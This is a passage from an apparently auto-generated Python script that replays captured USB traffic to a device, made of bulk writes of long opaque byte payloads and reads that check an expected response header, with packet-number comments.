b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x03\\xE6\\xB5\\xF8\\x74\\x74\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x9E\\x47\\xB7\\x89\\x1D\\x41\\xA0\"\n b\"\\x90\\x63\\xE6\\x29\\xB3\\xC7\\x40\\x6B\\xE8\\xAF\\x85\\x82\\x20\\x0A\\xBF\\x5C\"\n b\"\\xEA\\x50\\x29\\x1B\\x03\\x2C\\x58\\xED\\x3D\\xE1\\x17\\x7C\\x65\\x7D\\x04\\x0D\"\n b\"\\xDD\\x51\\x0E\\x34\\x0A\\x16\\x7C\\x4C\\xF6\\x9D\\x42\\x6D\\x4A\\x73\\xC8\\xEF\"\n b\"\\xBC\\xFC\\xA1\\x5A\\x7C\\x12\\x8D\\x2B\\x30\\xD6\\x3E\\x33\\x0D\\x82\\x2A\\xBB\"\n b\"\\xAC\\x68\\x59\\xEB\\x98\\x59\\xF3\\x12\\xEB\\x77\\x0E\\xEB\\xC1\\x4D\\x19\\x64\"\n b\"\\xFE\\x5D\\x56\\x93\\xD1\\x52\\xEB\\x88\\x09\\xE4\\x38\\xE6\\xF6\\xAD\\x71\\x62\"\n b\"\\xE1\\x22\\x70\\x58\\xA6\\x84\\x70\\xCE\\x7B\\x7C\\x94\\x3A\\x46\\xA3\\x3E\\xFF\"\n b\"\\x92\\xAA\\x86\\xE6\\xCF\\xF0\\x55\\x70\\x60\\xB5\\xA8\\xCB\\xB3\\xA6\\x3F\\xDF\"\n b\"\\x09\\xAC\\x03\\x89\\x57\\x14\\x63\\xBC\\x74\\x8D\\x29\\x7C\\x9A\\x17\\xAD\\xB0\"\n b\"\\xF7\\x02\\x3A\\x9C\\x01\\x2A\\x13\\xB4\\xF3\\x09\\x3B\\x1E\\x02\\xFC\\x61\\xB9\"\n b\"\\xD1\\xEE\\xA8\\xB7\\xDF\\xD2\\xA6\\xFD\\x22\\x39\\xA7\\xBE\\x35\\x21\\x25\\xCC\"\n b\"\\xBB\\x90\\xA0\\x64\\x26\\x34\\x17\\xAF\\x2D\\x3A\\x83\\xA1\\x87\\x6E\\x6D\\x5E\"\n b\"\\xDD\\x26\\xE0\\x03\\x13\\x24\\xDB\\x7C\\x65\\x4B\\xB3\\x15\\x9C\\x50\\x4A\\x52\"\n b\"\\x8A\\x7F\\xD1\\xD6\\xBD\\x1D\\x9A\\x63\\xD4\\x01\\x5D\\xE2\\xD3\\x74\\x01\\xA3\"\n b\"\\x86\\x6D\\x93\\x93\\x7A\\x06\\x6C\\x8A\\xCF\\xE4\\xD8\\xDB\\x9C\\xB0\\xAA\\x67\"\n b\"\\x2C\\xC7\\x0D\\xD3\\x73\\xC4\\x9F\\x1A\\x8C\\x03\\x0C\\xD5\")\n # Generated from packet 3471/3472\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3471/3472\")\n # Generated from packet 3473/3474\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCD\\xB6\\xBB\\xEC\\xAF\\x4B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x70\\x19\\xCE\\x85\\x4A\\x35\\x64\\xDE\"\n b\"\\xDC\\x72\\x8D\\xA2\\xAD\\x84\\xB3\\x6F\\xE2\\x15\\xEB\\xF3\\xF1\\x64\\x53\\xDF\"\n b\"\\xFB\\x5D\\x84\\x98\\x89\\x25\\x78\\x13\\xB7\\x04\\xC4\\xFD\\x3D\\x86\\x32\\x72\"\n b\"\\x54\\x33\\xF2\\x9C\\x78\\x42\\xBE\\x58\\xCB\\x5A\\x83\\x0C\\xDF\\xD2\\x22\\xE6\"\n b\"\\xAC\\x82\\x16\\xD7\\x06\\x7B\\x65\\xF9\\xFB\\x82\\x4F\\xC3\\xEC\\x0D\\x70\\xD3\"\n b\"\\xA3\\xFA\\x5F\\xDC\\x1E\\xE1\\x87\\x6A\\xCD\\x8F\\x78\\x23\\x84\\x0B\\x6F\\xAC\"\n b\"\\x85\\x31\\x28\\x0A\\x85\\xA7\\xF5\\xF2\\x61\\x53\\xC8\\x2D\\xCB\\x96\\x1C\\x24\"\n b\"\\x73\\x8F\\x41\\x7E\\xA0\\x19\\xEE\\x3B\\x5D\\xA2\\x3D\\x28\\xCA\\xB6\\x87\\x22\"\n b\"\\xF6\\xE0\\xD9\\x9A\\x96\\xD5\\xFA\\x03\\xDC\\x15\\x14\\x99\\x58\\xD9\\x79\\x8C\"\n b\"\\xCF\\xF5\\x8F\\xA4\\xE6\\xDD\\x7D\\x87\\xCE\\x77\\x8C\\x72\\x94\\xD0\\x5F\\x60\"\n b\"\\x5D\\xDE\\x51\\x5C\\x53\\x94\\xAC\\xB7\\x52\\xD7\\xBB\\xAF\\xD0\\xA5\\x35\\x1E\"\n b\"\\x55\\x0D\\xA8\\xBA\\xE2\\xC6\\xA3\\xB4\\x76\\xC8\\x09\\xE0\\x98\\x37\\x53\\xA8\"\n b\"\\x15\\x6A\\x9D\\xAA\\x2E\\x15\\xEB\\xC5\\x46\\x7C\\x12\\xDE\\xBF\\x3B\\x04\\xF1\"\n b\"\\x24\\xBF\\x33\\x93\\x6F\\x0A\\x5A\\x8F\\xA8\\x8B\\x5D\\xFA\\xF4\\xCA\\x08\\xE3\"\n b\"\\x66\\xFA\\xF4\\x88\\x99\\xE3\\x41\\x6A\\x2D\\xB2\\x12\\x3E\\x5F\\x0E\\xA2\\x49\"\n b\"\\xF8\\xBA\\xFD\\x4A\\x6A\\x73\\x02\\x8D\\xF9\\xBC\\x1C\\x4F\\x34\\x61\\x4A\\x43\"\n b\"\\xC5\\xF0\\x36\\x01\\xFF\\x4B\\x9D\\xEA\\x3F\\x9F\\x5E\\xCC\")\n # Generated from packet 3475/3476\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3475/3476\")\n # Generated from packet 3477/3478\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD7\\x82\\xE2\\x20\\x8D\\x75\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE5\\xF4\\x92\\xD1\\x96\\x50\\x35\\xC2\"\n b\"\\x73\\xB3\\x43\\x04\\x55\\xDB\\x25\\x1B\\x68\\x8C\\x48\\x27\\xD1\\x25\\xD8\\x91\"\n b\"\\x6E\\x7C\\x83\\x8B\\x6E\\xD5\\xFF\\xA9\\x6F\\x93\\xEE\\x68\\x9C\\x28\\x87\\x39\"\n b\"\\xC4\\x51\\xEE\\x85\\xFC\\x73\\xC7\\x56\\xA8\\x36\\x62\\x3E\\x1B\\x0B\\x3F\\xFF\"\n b\"\\xA8\\x29\\x14\\xB4\\xC5\\x5D\\x3B\\x3C\\xD9\\x84\\xFC\\x6D\\xFE\\xD3\\xB2\\x10\"\n b\"\\x4C\\x50\\xE2\\xEC\\x18\\x03\\xE3\\x27\\x96\\x2C\\x28\\x4F\\x5D\\x4B\\x04\\x77\"\n b\"\\x5E\\xA5\\xDE\\x88\\x01\\xCC\\x9E\\x94\\x01\\x9E\\x8B\\xFA\\xDE\\x23\\x77\\x5C\"\n b\"\\x6E\\xA0\\xD1\\x49\\x6E\\x6C\\xE5\\xBE\\x62\\x3E\\x78\\x85\\x09\\xE8\\x58\\x3D\"\n b\"\\xA9\\xCF\\x26\\x06\\xFB\\xBB\\xCE\\x1C\\x8E\\xD9\\x51\\x14\\x47\\xE7\\x5E\\x3B\"\n b\"\\x57\\xC7\\x56\\xD1\\x8C\\x0D\\x82\\xF5\\xC7\\xD4\\x99\\x34\\x16\\x66\\x74\\x5E\"\n b\"\\xBC\\x78\\xD4\\x94\\xAE\\xAC\\x78\\x83\\x72\\x41\\x0D\\xC3\\x26\\x64\\xF7\\xD1\"\n b\"\\x77\\xFB\\xD2\\xA5\\xC6\\x90\\x76\\x2E\\x1F\\xCE\\x5A\\x56\\x2A\\x79\\x19\\xEF\"\n b\"\\x23\\xD1\\x5D\\x03\\xC5\\x29\\x30\\x84\\x64\\xBC\\x25\\x7D\\x5B\\x5D\\xFC\\x4D\"\n b\"\\xAA\\x33\\x52\\xCB\\xFD\\xC6\\x06\\x70\\xF5\\x24\\x51\\xEE\\x6C\\xEB\\xEE\\x2F\"\n b\"\\x85\\xF9\\x7A\\xA8\\x89\\x25\\xB2\\xFF\\xA4\\x13\\x88\\x1C\\x23\\x40\\x0E\\xC2\"\n b\"\\x96\\x18\\x07\\x93\\xF0\\x0E\\x1E\\xED\\x57\\x87\\x3D\\x49\\xF1\\xC5\\x66\\x21\"\n b\"\\x34\\x2C\\xAE\\x84\\x0E\\xF2\\x64\\xDE\\x98\\xB5\\x8D\\xA2\")\n # Generated from packet 3479/3480\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3479/3480\")\n # Generated from packet 3481/3482\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x19\\xD2\\xEC\\x34\\xB5\\x40\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFF\\x7B\\x0B\\x67\\x97\\x8D\\x82\\xAE\"\n b\"\\x32\\xB7\\x5C\\x64\\x68\\x21\\x1B\\x8D\\x14\\x50\\xED\\xB3\\xD9\\x1F\\x7C\\xEB\"\n b\"\\x45\\x0C\\x0D\\x53\\x69\\x06\\x34\\x84\\x2E\\x74\\x4C\\x78\\xA5\\x4A\\x6D\\xC4\"\n b\"\\x4B\\xC0\\xEF\\x32\\xC4\\xA9\\x5A\\xF2\\x2A\\x85\\x2B\\xBE\\xEE\\x36\\x33\\x83\"\n b\"\\xBA\\x22\\xBB\\x22\\x50\\x51\\xEB\\x16\\x61\\xFB\\x12\\x65\\x4F\\x06\\xEB\\x4F\"\n b\"\\x75\\x11\\x64\\x70\\x65\\x5E\\x93\\x5F\\x6A\\xE3\\x88\\x87\\xDC\\x30\\xE6\\x78\"\n b\"\\x95\\x79\\x62\\x6F\\x1A\\x78\\x58\\x28\\xBC\\x78\\xCE\\xF5\\x44\\x9C\\x3A\\xC8\"\n b\"\\x9B\\x36\\xFF\\x1C\\x92\\x8E\\xE6\\x41\\xC8\\x5D\\x70\\xEE\\x8D\\xA0\\xCB\\x3D\"\n b\"\\x9E\\x37\\xDF\\x87\\x94\\x0B\\x89\\xD9\\x2C\\x6B\\xBC\\xFA\\xB5\\x21\\x7C\\x14\"\n b\"\\x2F\\xA5\\xB0\\x79\\x3A\\x32\\x9C\\x8F\\x12\\x1B\\xB4\\x7D\\x31\\x33\\x1E\\x8C\"\n b\"\\xC4\\x69\\xB9\\x5F\\xD6\\xA0\\xB7\\x51\\xEA\\xAE\\xFD\\xAC\\x01\\xAF\\xBE\\xBB\"\n b\"\\x19\\x2D\\xCC\\x35\\xA8\\xA8\\x64\\xA8\\x0C\\x1F\\xAF\\xA3\\x02\\x8B\\xA1\\x09\"\n b\"\\x56\\x65\\x5E\\x53\\x1E\\xE8\\x03\\x9D\\x1C\\xD3\\x7C\\xEB\\x73\\xBB\\x15\\x12\"\n b\"\\x68\\x42\\x52\\x04\\x47\\xD9\\xD6\\x33\\x25\\x92\\x63\\x5A\\x39\\x55\\xE2\\x5D\"\n b\"\\x4C\\x09\\xA3\\x08\\x55\\x9B\\x93\\xF4\\x3E\\x64\\x8A\\x41\\xDC\\xD0\\xDB\\x12\"\n b\"\\x88\\xA2\\x67\\xA2\\xFF\\x05\\xD3\\xFD\\xFC\\x97\\x1A\\x02\\x3B\\x04\\xD5\\x1C\"\n b\"\\xF9\\xC9\\x08\\x4A\\xF5\\x38\\x99\\x36\\xB7\\x02\\x22\\x9D\")\n # Generated from packet 3483/3484\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3483/3484\")\n # Generated from packet 3485/3486\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4B\\x23\\xFE\\x08\\xA4\\x3E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x81\\x29\\xE8\\x1D\\x06\\x29\\x0E\\xC2\"\n b\"\\xB3\\x71\\x07\\x93\\xD5\\x67\\x1E\\xED\\x72\\xEE\\x3D\\x49\\xD4\\xAC\\x66\\x21\"\n b\"\\x11\\x45\\xAE\\x84\\x2B\\x9B\\x64\\xDE\\xBD\\xDC\\x8D\\xA2\\xCC\\x2A\\xB3\\x6F\"\n b\"\\x83\\xBB\\xEB\\xF3\\x90\\xCA\\x53\\xDF\\x9A\\xF3\\x84\\x98\\xE8\\x8B\\x78\\x13\"\n b\"\\xD6\\xAA\\xC4\\xFD\\x5C\\x28\\x32\\x72\\x35\\x9D\\xF2\\x9C\\x19\\xEC\\xBE\\x58\"\n b\"\\xAA\\xF4\\x83\\x0C\\xBE\\x7C\\x22\\xE6\\xCD\\x2C\\x16\\xD7\\x67\\xD5\\x65\\xF9\"\n b\"\\x9A\\x2C\\x4F\\xC3\\x8D\\xA3\\x70\\xD3\\xC2\\x54\\x5F\\xDC\\x7F\\x4F\\x87\\x6A\"\n b\"\\xAC\\x21\\x78\\x23\\xE5\\xA5\\x6F\\xAC\\xE4\\x9F\\x28\\x0A\\xE4\\x09\\xF5\\xF2\"\n b\"\\x00\\xFD\\xC8\\x2D\\xAA\\x38\\x1C\\x24\\x12\\x21\\x41\\x7E\\xC1\\xB7\\xEE\\x3B\"\n b\"\\x3C\\x0C\\x3D\\x28\\xAB\\x18\\x87\\x22\\x97\\x4E\\xD9\\x9A\\xF7\\x7B\\xFA\\x03\"\n b\"\\xBD\\xBB\\x14\\x99\\x39\\x77\\x79\\x8C\\xAE\\x5B\\x8F\\xA4\\x87\\x73\\x7D\\x87\"\n b\"\\xAF\\xD9\\x8C\\x72\\xF5\\x7E\\x5F\\x60\\x3C\\x70\\x51\\x5C\\x32\\x3A\\xAC\\xB7\"\n b\"\\x33\\x79\\xBB\\xAF\\xB1\\x0B\\x35\\x1E\\x34\\xA3\\xA8\\xBA\\x83\\x68\\xA3\\xB4\"\n b\"\\x17\\x66\\x09\\xE0\\xF9\\x99\\x53\\xA8\\x74\\xC4\\x9D\\xAA\\x4F\\xBB\\xEB\\xC5\"\n b\"\\x27\\xD2\\x12\\xDE\\xDE\\x95\\x04\\xF1\\x45\\x11\\x33\\x93\\x0E\\xA4\\x5A\\x8F\"\n b\"\\xC9\\x25\\x5D\\xFA\\x95\\x64\\x08\\xE3\\x07\\x54\\xF4\\x88\\xF8\\x4D\\x41\\x6A\"\n b\"\\x4C\\x1C\\x12\\x3E\\x3E\\xA0\\xA2\\x49\\x99\\x14\\xFD\\x4A\")\n # Generated from packet 3487/3488\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3487/3488\")\n # Generated from packet 3489/3490\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x85\\x73\\xF0\\x1C\\x90\\x39\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5F\\x4F\\xFD\\x53\\xD9\\x6B\\x68\\x06\"\n b\"\\x62\\x63\\x8A\\x51\\xFC\\xFA\\x45\\xEE\\x3D\\x13\\x57\\x7A\\xBA\\x1F\\x8B\\xB2\"\n b\"\\xED\\x32\\xBD\\x88\\x0E\\xB5\\xEE\\x0E\\xD0\\x00\\xB6\\x07\\x81\\x66\\xA0\\x1E\"\n b\"\\xFF\\xC1\\x29\\x3D\\x5B\\x67\\x6B\\x66\\x33\\xA2\\x82\\xAE\\x96\\x98\\x5C\\x64\"\n b\"\\xCC\\x0E\\x1B\\x8D\\xB0\\x7F\\xED\\xB3\\x7D\\x30\\x7C\\xEB\\xE1\\x23\\x0D\\x53\"\n b\"\\xCD\\x29\\x34\\x84\\x8A\\x5B\\x4C\\x78\\x01\\x65\\x6D\\xC4\\xEF\\xEF\\xEF\\x32\"\n b\"\\x60\\x86\\x5A\\xF2\\x8E\\xAA\\x2B\\xBE\\x4A\\x19\\x33\\x83\\x1E\\x0D\\xBB\\x22\"\n b\"\\xF4\\x7E\\xEB\\x16\\xC5\\xD4\\x12\\x65\\xEB\\x29\\xEB\\x4F\\xD1\\x3E\\x64\\x70\"\n b\"\\xC1\\x71\\x93\\x5F\\xCE\\xCC\\x88\\x87\\x78\\x1F\\xE6\\x78\\x31\\x56\\x62\\x6F\"\n b\"\\xBE\\x57\\x58\\x28\\x18\\x57\\xCE\\xF5\\xE0\\xB3\\x3A\\xC8\\x3F\\x19\\xFF\\x1C\"\n b\"\\x36\\xA1\\xE6\\x41\\x6C\\x72\\x70\\xEE\\x29\\x8F\\xCB\\x3D\\x3A\\x18\\xDF\\x87\"\n b\"\\x30\\x24\\x89\\xD9\\x88\\x44\\xBC\\xFA\\x11\\x0E\\x7C\\x14\\x8B\\x8A\\xB0\\x79\"\n b\"\\x9E\\x1D\\x9C\\x8F\\xB6\\x34\\xB4\\x7D\\x95\\x1C\\x1E\\x8C\\x60\\x46\\xB9\\x5F\"\n b\"\\x72\\x8F\\xB7\\x51\\x4E\\x81\\xFD\\xAC\\xA5\\x80\\xBE\\xBB\\xBD\\x02\\xCC\\x35\"\n b\"\\x0C\\x87\\x64\\xA8\\xA8\\x30\\xAF\\xA3\\xA6\\xA4\\xA1\\x09\\xF2\\x4A\\x5E\\x53\"\n b\"\\xBA\\xC7\\x03\\x9D\\xB8\\xFC\\x7C\\xEB\\xD7\\x94\\x15\\x12\\xCC\\x6D\\x52\\x04\"\n b\"\\xE3\\xF6\\xD6\\x33\\x81\\xBD\\x63\\x5A\\x9D\\x7A\\xE2\\x5D\")\n # Generated from packet 3491/3492\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3491/3492\")\n # Generated from packet 3493/3494\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xEF\\xC1\\xDB\\x70\\xD5\\x71\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF5\\xC0\\xD2\\x11\\x47\\xD0\\xE2\\xEC\"\n b\"\\x13\\x83\\xE3\\x27\\x9D\\xAC\\x28\\x4F\\x56\\xCB\\x04\\x77\\x55\\x25\\xDE\\x88\"\n b\"\\x0A\\x4C\\x9E\\x94\\x0A\\x1E\\x8B\\xFA\\xD5\\xA3\\x77\\x5C\\x65\\x20\\xD1\\x49\"\n b\"\\x65\\xEC\\xE5\\xBE\\x69\\xBE\\x78\\x85\\x02\\x68\\x58\\x3D\\xA2\\x4F\\x26\\x06\"\n b\"\\xF0\\x3B\\xCE\\x1C\\x85\\x59\\x51\\x14\\x4C\\x67\\x5E\\x3B\\x5C\\x47\\x56\\xD1\"\n b\"\\x87\\x8D\\x82\\xF5\\xCC\\x54\\x99\\x34\\x1D\\xE6\\x74\\x5E\\xB7\\xF8\\xD4\\x94\"\n b\"\\xA5\\x2C\\x78\\x83\\x79\\xC1\\x0D\\xC3\\x2D\\xE4\\xF7\\xD1\\x7C\\x7B\\xD2\\xA5\"\n b\"\\xCD\\x10\\x76\\x2E\\x14\\x4E\\x5A\\x56\\x21\\xF9\\x19\\xEF\\x28\\x51\\x5D\\x03\"\n b\"\\xCE\\xA9\\x30\\x84\\x6F\\x3C\\x25\\x7D\\x50\\xDD\\xFC\\x4D\\xA1\\xB3\\x52\\xCB\"\n b\"\\xF6\\x46\\x06\\x70\\xFE\\xA4\\x51\\xEE\\x67\\x6B\\xEE\\x2F\\x8E\\x79\\x7A\\xA8\"\n b\"\\x82\\xA5\\xB2\\xFF\\xAF\\x93\\x88\\x1C\\x28\\xC0\\x0E\\xC2\\x9D\\x98\\x07\\x93\"\n b\"\\xFB\\x8E\\x1E\\xED\\x5C\\x07\\x3D\\x49\\xFA\\x45\\x66\\x21\\x3F\\xAC\\xAE\\x84\"\n b\"\\x05\\x72\\x64\\xDE\\x93\\x35\\x8D\\xA2\\xE2\\xC3\\xB3\\x6F\\xAD\\x52\\xEB\\xF3\"\n b\"\\xBE\\x23\\x53\\xDF\\xB4\\x1A\\x84\\x98\\xC6\\x62\\x78\\x13\\xF8\\x43\\xC4\\xFD\"\n b\"\\x72\\xC1\\x32\\x72\\x1B\\x74\\xF2\\x9C\\x37\\x05\\xBE\\x58\\x84\\x1D\\x83\\x0C\"\n b\"\\x90\\x95\\x22\\xE6\\xE3\\xC5\\x16\\xD7\\x49\\x3C\\x65\\xF9\\xB4\\xC5\\x4F\\xC3\"\n b\"\\xA3\\x4A\\x70\\xD3\\xEC\\xBD\\x5F\\xDC\\x51\\xA6\\x87\\x6A\")\n # Generated from packet 3495/3496\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3495/3496\")\n # Generated from packet 3497/3498\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x21\\x91\\xD5\\x64\\x5E\\x78\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x16\\xF9\\x8E\\x2E\\xFF\\x58\\x7A\\xA8\"\n b\"\\xF3\\x84\\xB2\\xFF\\xDE\\xB2\\x88\\x1C\\x59\\xE1\\x0E\\xC2\\xEC\\xB9\\x07\\x93\"\n b\"\\x8A\\xAF\\x1E\\xED\\x2D\\x26\\x3D\\x49\\x8B\\x64\\x66\\x21\\x4E\\x8D\\xAE\\x84\"\n b\"\\x74\\x53\\x64\\xDE\\xE2\\x14\\x8D\\xA2\\x93\\xE2\\xB3\\x6F\\xDC\\x73\\xEB\\xF3\"\n b\"\\xCF\\x02\\x53\\xDF\\xC5\\x3B\\x84\\x98\\xB7\\x43\\x78\\x13\\x89\\x62\\xC4\\xFD\"\n b\"\\x03\\xE0\\x32\\x72\\x6A\\x55\\xF2\\x9C\\x46\\x24\\xBE\\x58\\xF5\\x3C\\x83\\x0C\"\n b\"\\xE1\\xB4\\x22\\xE6\\x92\\xE4\\x16\\xD7\\x38\\x1D\\x65\\xF9\\xC5\\xE4\\x4F\\xC3\"\n b\"\\xD2\\x6B\\x70\\xD3\\x9D\\x9C\\x5F\\xDC\\x20\\x87\\x87\\x6A\\xF3\\xE9\\x78\\x23\"\n b\"\\xBA\\x6D\\x6F\\xAC\\xBB\\x57\\x28\\x0A\\xBB\\xC1\\xF5\\xF2\\x5F\\x35\\xC8\\x2D\"\n b\"\\xF5\\xF0\\x1C\\x24\\x4D\\xE9\\x41\\x7E\\x9E\\x7F\\xEE\\x3B\\x63\\xC4\\x3D\\x28\"\n b\"\\xF4\\xD0\\x87\\x22\\xC8\\x86\\xD9\\x9A\\xA8\\xB3\\xFA\\x03\\xE2\\x73\\x14\\x99\"\n b\"\\x66\\xBF\\x79\\x8C\\xF1\\x93\\x8F\\xA4\\xD8\\xBB\\x7D\\x87\\xF0\\x11\\x8C\\x72\"\n b\"\\xAA\\xB6\\x5F\\x60\\x63\\xB8\\x51\\x5C\\x6D\\xF2\\xAC\\xB7\\x6C\\xB1\\xBB\\xAF\"\n b\"\\xEE\\xC3\\x35\\x1E\\x6B\\x6B\\xA8\\xBA\\xDC\\xA0\\xA3\\xB4\\x48\\xAE\\x09\\xE0\"\n b\"\\xA6\\x51\\x53\\xA8\\x2B\\x0C\\x9D\\xAA\\x10\\x73\\xEB\\xC5\\x78\\x1A\\x12\\xDE\"\n b\"\\x81\\x5D\\x04\\xF1\\x1A\\xD9\\x33\\x93\\x51\\x6C\\x5A\\x8F\\x96\\xED\\x5D\\xFA\"\n b\"\\xCA\\xAC\\x08\\xE3\\x58\\x9C\\xF4\\x88\\xA7\\x85\\x41\\x6A\")\n # Generated from packet 3499/3500\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3499/3500\")\n # Generated from packet 3501/3502\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x73\\x60\\xC7\\x58\\x6A\\x17\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x51\\x0E\\x17\\x50\\x59\\x14\\x49\\x5E\"\n b\"\\x76\\x04\\x69\\x56\\x9C\\xDF\\xA3\\x82\\xB8\\x94\\x7A\\x99\\x79\\x45\\xC8\\x74\"\n b\"\\x13\\xEF\\xD6\\xD4\\xD9\\xFD\\x02\\x78\\xCE\\x21\\xEF\\x0D\\x8E\\x75\\xCA\\xF7\"\n b\"\\x9C\\x24\\x55\\xD2\\xE8\\x95\\x3E\\x76\\x63\\x4C\\x60\\x5A\\x1B\\x79\\xD7\\x19\"\n b\"\\xA2\\x70\\x7F\\x5D\\x4E\\x96\\x87\\x30\\xC9\\x37\\x12\\x25\\x30\\x08\\xF3\\xFC\"\n b\"\\x00\\xF9\\x9D\\x52\\x86\\xAE\\x68\\x06\\x3D\\xA6\\x8A\\x51\\xA3\\x3F\\x45\\xEE\"\n b\"\\x62\\xD6\\x57\\x7A\\xE5\\xDA\\x8B\\xB2\\xB2\\xF7\\xBD\\x88\\x51\\x70\\xEE\\x0E\"\n b\"\\x8F\\xC5\\xB6\\x07\\xDE\\xA3\\xA0\\x1E\\xA0\\x04\\x29\\x3D\\x04\\xA2\\x6B\\x66\"\n b\"\\x6C\\x67\\x82\\xAE\\xC9\\x5D\\x5C\\x64\\x93\\xCB\\x1B\\x8D\\xEF\\xBA\\xED\\xB3\"\n b\"\\x22\\xF5\\x7C\\xEB\\xBE\\xE6\\x0D\\x53\\x92\\xEC\\x34\\x84\\xD5\\x9E\\x4C\\x78\"\n b\"\\x5E\\xA0\\x6D\\xC4\\xB0\\x2A\\xEF\\x32\\x3F\\x43\\x5A\\xF2\\xD1\\x6F\\x2B\\xBE\"\n b\"\\x15\\xDC\\x33\\x83\\x41\\xC8\\xBB\\x22\\xAB\\xBB\\xEB\\x16\\x9A\\x11\\x12\\x65\"\n b\"\\xB4\\xEC\\xEB\\x4F\\x8E\\xFB\\x64\\x70\\x9E\\xB4\\x93\\x5F\\x91\\x09\\x88\\x87\"\n b\"\\x27\\xDA\\xE6\\x78\\x6E\\x93\\x62\\x6F\\xE1\\x92\\x58\\x28\\x47\\x92\\xCE\\xF5\"\n b\"\\xBF\\x76\\x3A\\xC8\\x60\\xDC\\xFF\\x1C\\x69\\x64\\xE6\\x41\\x33\\xB7\\x70\\xEE\"\n b\"\\x76\\x4A\\xCB\\x3D\\x65\\xDD\\xDF\\x87\\x6F\\xE1\\x89\\xD9\\xD7\\x81\\xBC\\xFA\"\n b\"\\x4E\\xCB\\x7C\\x14\\xD4\\x4F\\xB0\\x79\\xC1\\xD8\\x9C\\x8F\")\n # Generated from packet 3503/3504\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3503/3504\")\n # Generated from packet 3505/3506\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBD\\x30\\xC9\\x4C\\x40\\x20\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x96\\x63\\xD0\\x31\\x83\\xFE\\x6F\\x8D\"\n b\"\\x7F\\x58\\xDF\\x0E\\xD9\\x4D\\xDF\\xC2\\xED\\xBA\\xD3\\x90\\x70\\x81\\xB8\\x46\"\n b\"\\x50\\x39\\x18\\x61\\x2E\\x02\\x4A\\x15\\xC6\\x18\\x3F\\x77\\x59\\x10\\xF6\\x49\"\n b\"\\x56\\x3F\\xE6\\x69\\x5E\\xD5\\x3D\\xA3\\x8A\\xF1\\x76\\x7A\\x91\\x30\\xA7\\xC8\"\n b\"\\x7C\\x5A\\x0D\\xD6\\xDC\\x90\\x1F\\x02\\x70\\x87\\xC3\\xEF\\x05\\xC7\\x97\\xCA\"\n b\"\\xFF\\xD5\\xC6\\x55\\xDA\\xA1\\x77\\x3E\\x7E\\x2A\\xAE\\x60\\x52\\x52\\x9B\\xD7\"\n b\"\\x11\\xEB\\x92\\x7F\\x55\\x07\\x74\\x87\\x38\\x80\\xD5\\x12\\x2D\\x79\\xEA\\xF3\"\n b\"\\xF4\\x49\\x1B\\x9D\\x5A\\xCF\\x4C\\x68\\x0E\\x74\\x44\\x8A\\x59\\xEA\\xDD\\x45\"\n b\"\\xE6\\x2B\\x34\\x57\\x72\\xAC\\x38\\x8B\\xBA\\xFB\\x15\\xBD\\x80\\x18\\x92\\xEE\"\n b\"\\x06\\xC6\\x27\\xB6\\x0F\\x97\\x41\\xA0\\x16\\xE9\\xE6\\x29\\x35\\x4D\\x40\\x6B\"\n b\"\\x6E\\x25\\x85\\x82\\xA6\\x80\\xBF\\x5C\\x6C\\xDA\\x29\\x1B\\x85\\xA6\\x58\\xED\"\n b\"\\xBB\\x6B\\x17\\x7C\\xE3\\xF7\\x04\\x0D\\x5B\\xDB\\x0E\\x34\\x8C\\x9C\\x7C\\x4C\"\n 